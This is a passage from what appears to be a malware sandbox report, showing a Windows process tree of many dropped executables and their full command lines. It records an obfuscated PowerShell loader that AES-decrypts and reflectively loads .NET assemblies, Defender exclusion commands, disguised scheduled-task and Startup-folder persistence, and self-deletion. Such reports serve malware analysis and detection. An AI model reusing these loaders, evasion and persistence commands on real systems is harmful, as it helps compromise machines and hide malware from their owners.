xpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
        5⤵
        
        PID:4932
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
        5⤵
        
        PID:1044
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1896
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:3836
- C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe"
  2⤵
  PID:4196
- C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe"
  2⤵
  PID:1596
- C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe"
  2⤵
  PID:5688
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:6008
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1380
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5348
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5516
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5352
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2912
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5688 -s 800
    3⤵
    - Program crash
    PID:2816
- C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe"
  2⤵
  PID:1484
- - C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe
    "C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe"
    3⤵
    PID:3480
  - - C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe
      "C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe"
      4⤵
      PID:984
- C:\Users\Admin\AppData\Local\Temp\a\garits.exe
  "C:\Users\Admin\AppData\Local\Temp\a\garits.exe"
  2⤵
  PID:5648
- - C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\garits.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\garits.exe' -Force
    3⤵
    PID:796
- C:\Users\Admin\AppData\Local\Temp\a\current.exe
  "C:\Users\Admin\AppData\Local\Temp\a\current.exe"
  2⤵
  PID:3308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3308 -s 400
    3⤵
    - Program crash
    PID:5600
- C:\Users\Admin\AppData\Local\Temp\a\test.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
  2⤵
  PID:452
- C:\Users\Admin\AppData\Local\Temp\a\123.exe
  "C:\Users\Admin\AppData\Local\Temp\a\123.exe"
  2⤵
  PID:5248
- C:\Users\Admin\AppData\Local\Temp\a\sarra.exe
  "C:\Users\Admin\AppData\Local\Temp\a\sarra.exe"
  2⤵
  PID:5660
- C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe
  "C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe"
  2⤵
  PID:4236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat" "
    3⤵
    PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat"
      4⤵
      PID:5812
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat';$IKhK='MahibHihibHnhibHModhibHulhibHehibH'.Replace('hibH', ''),'GetQgnnCuQgnnrrQgnneQgnnntPQgnnroQgnnceQgnnsQgnnsQgnn'.Replace('Qgnn', ''),'EleVKaqmVKaqeVKaqntVKaqAtVKaq'.Replace('VKaq', ''),'ReaXrSRdLiXrSRnXrSResXrSR'.Replace('XrSR', ''),'DeDwcdcDwcdomDwcdpDwcdreDwcdsDwcdsDwcd'.Replace('Dwcd', ''),'CVrqZreaVrqZtVrqZeVrqZDVrqZecVrqZryVrqZptoVrqZrVrqZ'.Replace('VrqZ', ''),'ChXNvfaXNvfnXNvfgXNvfeEXNvfxteXNvfnsXNvfiXNvfonXNvf'.Replace('XNvf', ''),'SpHdEMlitHdEM'.Replace('HdEM', ''),'EnFMIKtFMIKryFMIKPFMIKoiFMIKntFMIK'.Replace('FMIK', ''),'CCPxDopCPxDyCPxDToCPxD'.Replace('CPxD', ''),'InLeisvLeisokLeiseLeis'.Replace('Leis', ''),'TzEulranzEulszEulfzEulorzEulmzEulFzEulinzEulazEullBzEullozEulckzEul'.Replace('zEul', ''),'LMYvEoMYvEaMYvEdMYvE'.Replace('MYvE', ''),'FrgPovomgPovBgPovagPovsgPove64gPovStgPovrgPovigPovnggPov'.Replace('gPov', '');powershell -w hidden;function Wjvpz($DSMeA){$LRUPP=[System.Security.Cryptography.Aes]::Create();$LRUPP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$LRUPP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$LRUPP.Key=[System.Convert]::($IKhK[13])('hbO8R88HBl6x9E1ChjrqAUcnoAC3B8p99JSIvXSwQuY=');$LRUPP.IV=[System.Convert]::($IKhK[13])('5zVFVvVJKQyl6Cns03Obiw==');$folEv=$LRUPP.($IKhK[5])();$SLWGx=$folEv.($IKhK[11])($DSMeA,0,$DSMeA.Length);$folEv.Dispose();$LRUPP.Dispose();$SLWGx;}function TImJD($DSMeA){$gpnDG=New-Object System.IO.MemoryStream(,$DSMeA);$hLGlZ=New-Object System.IO.MemoryStream;$KsXZc=New-Object System.IO.Compression.GZipStream($gpnDG,[IO.Compression.CompressionMode]::($IKhK[4]));$KsXZc.($IKhK[9])($hLGlZ);$KsXZc.Dispose();$gpnDG.Dispose();$hLGlZ.Dispose();$hLGlZ.ToArray();}$Ewgsd=[System.IO.File]::($IKhK[3])([Console]::Title);$WuYWe=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 5).Substring(2))));$NZPxf=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 6).Substring(2))));[System.Reflection.Assembly]::($IKhK[12])([byte[]]$NZPxf).($IKhK[8]).($IKhK[10])($null,$null);[System.Reflection.Assembly]::($IKhK[12])([byte[]]$WuYWe).($IKhK[8]).($IKhK[10])($null,$null); "
        5⤵
        
        PID:3220
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        
        PID:2824
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        
        PID:5508
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp')
        6⤵
        
        PID:3440
- C:\Users\Admin\AppData\Local\Temp\a\Locker.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Locker.exe"
  2⤵
  PID:4772
- C:\Users\Admin\AppData\Local\Temp\a\eeee.exe
  "C:\Users\Admin\AppData\Local\Temp\a\eeee.exe"
  2⤵
  PID:1288
- C:\Users\Admin\AppData\Local\Temp\a\inte.exe
  "C:\Users\Admin\AppData\Local\Temp\a\inte.exe"
  2⤵
  PID:5468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 780
    3⤵
    - Program crash
    PID:2300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 820
    3⤵
    - Program crash
    PID:4176
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 820
    3⤵
    - Program crash
    PID:4940
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 844
    3⤵
    - Program crash
    PID:4992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1040
    3⤵
    - Program crash
    PID:4176
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1052
    3⤵
    - Program crash
    PID:5368
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1432
    3⤵
    - Program crash
    PID:2268
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a\inte.exe" & exit
    3⤵
    PID:6012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1372
    3⤵
    - Program crash
    PID:5680
- C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
  2⤵
  PID:5092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\XClient.exe'
    3⤵
    PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    PID:4864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe'
    3⤵
    PID:928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsHealthSystem.exe'
    3⤵
    PID:5600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3856 -ip 3856
1⤵
PID:1608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3856 -ip 3856
1⤵
PID:1100

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4884 -ip 4884
1⤵
PID:3504

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 4936 -ip 4936
1⤵
PID:3416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5020 -ip 5020
1⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5724 -ip 5724
1⤵
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5748 -ip 5748
1⤵
PID:2796

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5436

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5380
- C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
  "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:6128
- C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
  "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 596
    3⤵
    - Program crash
    PID:5828
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5380 -s 676
  2⤵
  - Program crash
  PID:6032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5684 -ip 5684
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5380 -ip 5380
1⤵
PID:5832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1568 -ip 1568
1⤵
PID:5736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5016 -ip 5016
1⤵
PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5016 -ip 5016
1⤵
PID:2120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5524 -ip 5524
1⤵
PID:5804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5900 -ip 5900
1⤵
PID:6132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4432 -ip 4432
1⤵
PID:5404

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:4672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 440 -ip 440
1⤵
PID:3840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1288 -ip 1288
1⤵
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1288 -ip 1288
1⤵
PID:5356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtcm" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtc" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtcm" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1u" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1u" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Users\Public\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Users\Public\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Users\Public\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01t" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Documents\ttt01.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01" /sc ONLOGON /tr "'C:\Users\Admin\Documents\ttt01.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01t" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Documents\ttt01.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\odt\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5236

C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
1⤵
PID:3484
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:244
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:5196
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:2140
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:5700
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:5996
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:5976

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:2960
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  PID:5500
- C:\Windows\system32\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
  2⤵
  PID:1776
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
  2⤵
  PID:5288
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
    3⤵
    - Creates scheduled task(s)
    PID:2212
- C:\Windows\system32\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
  2⤵
  PID:5000

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:1756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5688 -ip 5688
1⤵
PID:5540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3308 -ip 3308
1⤵
PID:3148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\28A3.bat" "
1⤵
PID:5708
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
  2⤵
  PID:4804

C:\Users\Admin\AppData\Roaming\gfuehie
C:\Users\Admin\AppData\Roaming\gfuehie
1⤵
PID:4044

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:1776
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  PID:6132
- C:\Windows\system32\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
  2⤵
  PID:5320
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
  2⤵
  PID:5456
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
    3⤵
    - Creates scheduled task(s)
    PID:4868
- C:\Windows\system32\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
  2⤵
  PID:3132

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:4120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5468 -ip 5468
1⤵
PID:4888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5468 -ip 5468
1⤵
PID:2736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5468 -ip 5468
1⤵
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5468 -ip 5468
1⤵
PID:4788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5468 -ip 5468
1⤵
PID:5360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5468 -ip 5468
1⤵
PID:2776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A11F.bat" "
1⤵
PID:1992
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
  2⤵
  PID:5992

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004C0
1⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5468 -ip 5468
1⤵
PID:200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5468 -ip 5468
1⤵
PID:2136

C:\Windows\system32\LogonUI.exe
